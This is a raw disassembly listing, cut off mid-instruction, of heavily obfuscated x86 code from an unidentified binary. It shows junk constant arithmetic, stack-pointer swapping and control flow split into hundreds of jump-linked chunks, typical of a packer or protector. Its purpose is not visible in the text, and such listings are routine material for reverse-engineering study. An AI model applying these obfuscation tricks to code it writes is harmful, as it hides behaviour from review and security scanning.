FUNCTION CHUNK FOR sub_591435 loc_593F52: ; CODE XREF: sub_591435+59F8j ; sub_58BAD7+B7E0j mov edi, [esp+10h+var_10] add esp, 4 xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebp jmp loc_595E58 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_593F64: ; CODE XREF: sdfs____:005935E0j pop ebx neg ebp sub ebp, 3081D72Dh add edi, ebp pop ebp sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_595C5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_593F82: ; CODE XREF: sub_598A21-C3FDj push eax jmp loc_596A33 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_593F88: ; CODE XREF: sub_594F18-85Dj pop esi add ebp, 22F57156h jmp loc_58C236 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_593F94: ; CODE XREF: sdfs____:0059873Aj add edx, 4 jmp loc_5931C4 ; --------------------------------------------------------------------------- loc_593F9F: ; CODE XREF: sdfs____:0058DCD5j mov ecx, [esp] add esp, 4 and ebx, eax pop eax jmp loc_5938E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_593FB0: ; CODE XREF: sub_596736-85D3j pop esp shr ecx, 6 jmp loc_597E03 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_595D28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_593FC2: ; CODE XREF: sub_5917C0-CE2j mov [esp+0Ah+var_C+2], ecx push esp pop ecx jmp loc_58F278 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_593FCC: ; CODE XREF: sdfs____:0058F22Ej mov [esp], ecx jmp loc_5909CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593FD4: ; CODE XREF: sub_594228+1AFBj pop esi and ecx, ebx jmp loc_58BD73 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593FDC: ; CODE XREF: sub_5941BD:loc_59599Dj shr ebx, 7 js loc_591CD4 jmp loc_58BF78 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593131 loc_593FF2: ; CODE XREF: sub_593131+33j shr eax, 0Bh jmp loc_590DE8 ; END OF FUNCTION CHUNK FOR sub_593131 ; --------------------------------------------------------------------------- loc_593FFA: ; CODE XREF: sdfs____:0058E880j or esi, 280B0083h jge loc_590A8C sub esi, 0B7BE3147h jmp loc_59627D ; --------------------------------------------------------------------------- push ecx loc_594012: ; CODE XREF: sdfs____:0058DD89j add esp, 4 or ecx, ecx jz sub_59214E push eax mov eax, esp push edi mov edi, 4AF1652Eh or edi, 53610D08h not edi not edi add edi, 0A40E92D6h jmp loc_58FC7F ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 0F63h mov [esp], ecx mov ecx, esp add ecx, 4 push 2B66h jmp loc_58CD89 ; --------------------------------------------------------------------------- loc_59405C: ; CODE XREF: sdfs____:00591531j xor edx, 647817FEh mov ebx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push 0DCh mov [esp], edx mov edx, esp push edi mov edi, 3B1A4964h not edi dec edi dec edi jmp loc_596057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594089: ; CODE XREF: sub_591435-3D12j mov [esp+4+var_4], edx mov edx, 348D7D81h jmp loc_58D029 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_594096: ; CODE XREF: sdfs____:loc_598DE3j xor edi, 44B55C1Dh mov ebp, edi pop edi jmp loc_58E847 ; --------------------------------------------------------------------------- loc_5940A4: ; CODE XREF: sdfs____:00593AAEj push esp pop edi push eax mov eax, 4 jmp loc_59744A ; --------------------------------------------------------------------------- push 438h mov [esp], esi push 8022082h mov esi, [esp] add esp, 4 jmp loc_59365B ; --------------------------------------------------------------------------- loc_5940C9: ; CODE XREF: sdfs____:0058E326j mov ecx, 66820D56h mov edx, 0E5B96CE9h sub edx, ecx pop ecx or edx, 51BB723Fh push ebx jmp loc_5974DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5940E2: ; CODE XREF: sub_594228-5EC8j add esi, 62BF0A47h jmp loc_59857A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5940ED: ; CODE XREF: sdfs____:00596DAEj push edx mov edx, 75A57EDDh xor edx, 4FEE0FC8h neg edx or edx, 281E6BE5h inc edx push eax mov eax, 104B1AA4h add edx, eax pop eax sub edx, 96B7F850h xor esi, edx jmp loc_59812C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591397 loc_594118: ; CODE XREF: sub_591397+24j push ecx push eax mov al, 3Eh shr al, 3 jmp loc_5975CA ; END OF FUNCTION CHUNK FOR sub_591397 ; --------------------------------------------------------------------------- loc_594124: ; CODE XREF: sdfs____:00592F3Ej push edx push esi push 0B5A6A52h mov esi, [esp] add esp, 4 jmp loc_58CC00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591397 loc_594136: ; CODE XREF: sub_591397+6242j or edx, eax pop eax shr edx, 5 push esi mov esi, 35A275F5h and edx, esi pop esi push ecx mov ecx, 0FE7DCE0Fh sub edx, 47A04CCDh add edx, ecx jmp loc_5907D8 ; END OF FUNCTION CHUNK FOR sub_591397 ; --------------------------------------------------------------------------- loc_594158: ; CODE XREF: sdfs____:00592F14j pop esp jmp loc_591401 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58E539 ; --------------------------------------------------------------------------- loc_594167: ; CODE XREF: sdfs____:00594F13j sub ecx, 1DA441FEh pop ebx jmp loc_59389A ; --------------------------------------------------------------------------- loc_594173: ; CODE XREF: sdfs____:00595A2Aj pop ecx jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_594179: ; CODE XREF: sub_5962EB-CBFj inc esi add esi, 0FFFFFFFFh dec esi push esi jmp loc_58E0E3 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_594C9D ; --------------------------------------------------------------------------- loc_59418D: ; CODE XREF: sdfs____:0059280Ej mov [esp], ecx mov ecx, 2 add edx, ecx mov ecx, [esp] jmp loc_58CDF6 ; --------------------------------------------------------------------------- loc_59419F: ; CODE XREF: sdfs____:00595820j mov eax, [esp] jmp loc_5930B6 ; --------------------------------------------------------------------------- loc_5941A7: ; CODE XREF: sdfs____:0059709Cj shr eax, 8 push ebx mov ebx, 0DC8520Bh jmp loc_5982A5 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58B9C5 ; =============== S U B R O U T I N E ======================================= sub_5941BD proc near ; CODE XREF: sub_594F18+433j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058BE0D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058BF78 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058C202 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058C24A SIZE 00000042 BYTES ; FUNCTION CHUNK AT 0058C7BA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058C7F6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058C9F9 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058CC88 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058CD5C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058CDA6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CEF0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D09E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D69E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D74D SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0058D7CC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058D89F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058D9D1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058DC24 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F87F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058F9EF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FC72 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FDCB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058FE47 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058FFD7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005910CE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591CAA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592834 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005929C1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00592CD7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592D01 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592FB0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592FE2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00593303 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593791 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059380F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593B75 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00593BC7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00593E92 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00593FDC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00594748 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00594B49 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00595123 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059517B SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005958BA SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059599D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00596078 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059626B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059641B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005965E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005966EA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059711C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597466 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00597A32 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597AA0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00598413 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059847F SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00598876 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00598B36 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00598BA4 SIZE 00000007 BYTES push ebp mov ebp, 0 jmp loc_594748 sub_5941BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5941C8: ; CODE XREF: sub_5962EB-C78j add [esp-4+arg_4], 22AD1A30h add [esp-4+arg_4], eax sub [esp-4+arg_4], 22AD1A30h pop eax mov eax, [esp-8+arg_4] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], ecx push esp jmp loc_5918A7 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5941FC: ; CODE XREF: sub_591435+604Bj xor eax, 9C578ACBh jmp loc_59450B ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC13 loc_594206: ; CODE XREF: sub_58EC13+6F25j pop edi add edi, 4 sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp+8+var_8] pop esp sub [edi+24h], esi mov esi, [esp+4+var_4] add esp, 4 ; END OF FUNCTION CHUNK FOR sub_58EC13 ; =============== S U B R O U T I N E ======================================= sub_594228 proc near ; CODE XREF: sub_591435+1F99j var_2E = dword ptr -2Eh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_6 = dword ptr 0Ah arg_A = dword ptr 0Eh arg_E = dword ptr 12h ; FUNCTION CHUNK AT 0058B9F5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058BA8C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BCBE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BD28 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058BD57 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058BD88 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058BEB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058BECF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C1F4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C310 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C367 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C3DE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C595 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058C754 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058C900 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058CB58 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058CD51 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CD63 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058CD7E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CEA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058CF2E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D127 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058D2F5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058D31A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058D452 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D47F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058D555 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058DAE1 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058DE20 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DEA8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058DFAA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058E03F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058E08E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E220 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E35A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E3AA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E498 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058E528 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058E70C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058E8EC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058EC59 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058EE08 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058EEEC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F1FC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058F30E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058F345 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058F473 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F637 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F699 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058F77A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058F838 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F8F1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058F9BB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FAAB SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0058FB0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058FBF1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FC99 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FD5F SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058FDC3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590745 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005907F6 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00590846 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00590862 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005908AB SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059093A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005909D1 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00590CA1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00590EB5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059104F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00591081 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00591122 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005911D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591218 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00591597 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005915F9 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00591754 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00591814 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00591879 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591914 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591AE7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591C72 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591CBD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591F0F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591F1D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591F72 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00592033 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00592313 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00592A4B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00592A77 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592AFB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00592C19 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592FBB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005930A1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005930CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005933EE SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059349D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593666 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00593751 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005937E5 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059399B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593A28 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593A38 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00593BE0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593CFF SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00593E37 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00593FD4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005940E2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059431A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005943B3 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00594A9D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00594B91 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00594CF0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594E61 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00594ED9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005951A5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00595255 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595318 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059563D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059579E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005959FB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00595A57 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00595B55 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00595C16 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00595C37 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00595CFD SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00595E4F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00595F46 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059611E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005961B0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00596214 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596299 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596336 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005965D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00596678 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596AE9 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00596C6B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596DB9 SIZE 0000005B BYTES ; FUNCTION CHUNK AT 00597162 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005972D9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005976ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00597747 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059782A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597885 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597959 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 005979D5 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00597A49 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597B3C SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00597C7D SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00597E8D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00597FD5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059805C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005982C4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059857A SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0059875C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00598957 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00598B40 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00598BAB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00598C05 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 00598C7D SIZE 00000036 BYTES push ebx sub [esp-0Eh+arg_A], 37F34C06h mov eax, [esp-0Eh+arg_A] push 790Ah mov [esp-0Ah+arg_6], ebp push esp jmp loc_591C72 sub_594228 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_594241: ; CODE XREF: sdfs____:00595CB7j or esi, 730707C4h not esi sub esi, 0F6E0DEBAh jmp loc_5951E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594254: ; CODE XREF: sub_591370-2F4Bj dec bh jnp loc_596F40 add bh, 0DEh mov ch, bh pop ebx not ch jmp loc_58E58A ; --------------------------------------------------------------------------- loc_594269: ; CODE XREF: sub_591370-24EBj ; sub_595F04+6j mov [esp-14h+arg_10], ebx mov bh, 91h inc bh jnp loc_58C3B0 shl bh, 4 js loc_590DE8 push edx mov dl, 0FAh pop ebp loc_594283: ; CODE XREF: sdfs____:00590E48j sub edx, 0DE272A1Dh mov eax, edx jmp loc_595953 ; --------------------------------------------------------------------------- loc_594290: ; CODE XREF: sub_591370+6AFDj sub edi, 1F566B0Fh jmp loc_5906D3 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59429B: ; CODE XREF: sdfs____:0058F9B6j push eax push edx push 2270h mov [esp], ebp jmp loc_59332B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_5942AA: ; CODE XREF: sub_59841F:loc_597835j shr edi, 3 js loc_592D87 dec edi jmp loc_58D4E1 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_5942B9: ; CODE XREF: sub_596736-22ADj mov esp, [esp+0] jmp loc_58EA11 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_5942C1: ; CODE XREF: sdfs____:00596AD2j and bl, 93h add bl, 0F3h add bl, 25h or ch, bl pop ebx jmp loc_58C002 ; --------------------------------------------------------------------------- loc_5942D2: ; CODE XREF: sdfs____:0058CB09j pop dx mov bx, [esp] push 10E5h mov [esp], eax jmp loc_592E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_5942E5: ; CODE XREF: sub_59377D+Fj shr ecx, 2 jmp loc_595001 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_5942ED: ; CODE XREF: sdfs____:005905E1j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push 3B4Ch jmp loc_5907A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59431A: ; CODE XREF: sub_594228-6194j push edx mov edx, 55D2128Ch xor edi, edx pop edx push ebp mov ebp, 14050C53h or edi, ebp pop ebp push edx mov edx, 17F5FF77h sub edi, edx pop edx jmp loc_5965D2 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59433A: ; CODE XREF: sdfs____:0058DA0Fj add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_596B6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_59434E: ; CODE XREF: sub_58BAD7+72ABj add ebp, 7C964FF2h push 3A2h mov [esp+0], ecx push ebp jmp loc_594AA6 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_594362: ; CODE XREF: sdfs____:0058E72Dj sar dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_59436B: ; CODE XREF: sdfs____:0058E30Cj neg ebx jmp loc_59259F ; --------------------------------------------------------------------------- loc_594372: ; CODE XREF: sdfs____:00595F21j and [edi+1Ch], edx mov edx, [esp] push eax jmp loc_591218 ; --------------------------------------------------------------------------- xor [esp], bx xor bx, [esp] xor [esp], bx xchg cx, bx push cx push small 793Ah mov [esp], si push small word ptr [esp+2] pop si jmp loc_5974A2 ; --------------------------------------------------------------------------- loc_5943A3: ; CODE XREF: sdfs____:005955C5j sub esp, 4 mov [esp], edi mov edi, esp jmp loc_590763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5943B3: ; CODE XREF: sub_594228-3368j ; sdfs____:005918A2j xchg ebx, edx pop ebx add edx, 232017DCh sub eax, 426248F5h add eax, edx add eax, 426248F5h mov edx, [esp+16h+var_18+2] add esp, 4 push esi mov esi, 2 jmp loc_598C05 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_5943DC: ; CODE XREF: sub_5987BC:loc_592D9Ej neg edi sub edi, 47F529CFh ja loc_58C744 sub edi, 1F1084D7h add ebp, edi mov edi, [esp-8+arg_4] mov edi, edx ; END OF FUNCTION CHUNK FOR sub_5987BC ; START OF FUNCTION CHUNK FOR sub_5985AE loc_5943F7: ; CODE XREF: sub_5985AE-B48Cj mov edi, ebx pop ebx sub [esp+arg_0], 11ED3859h sub [esp+arg_0], edi add [esp+arg_0], 11ED3859h pop edi pop eax jmp loc_58F1B5 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_594415: ; CODE XREF: sdfs____:00596938j xor bh, dh pop edx push edx jmp loc_59618A ; --------------------------------------------------------------------------- loc_59441E: ; CODE XREF: sdfs____:00598D53j sub eax, ebx pop ebx jmp loc_58C5BF ; --------------------------------------------------------------------------- loc_594426: ; CODE XREF: sdfs____:00590E6Bj pop edx push edx mov edx, 6F453649h add ebx, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 64AE14FBh inc ebp and ebp, 7A7D5FD8h shl ebp, 8 sub ebp, 0E4B495EBh or ebx, 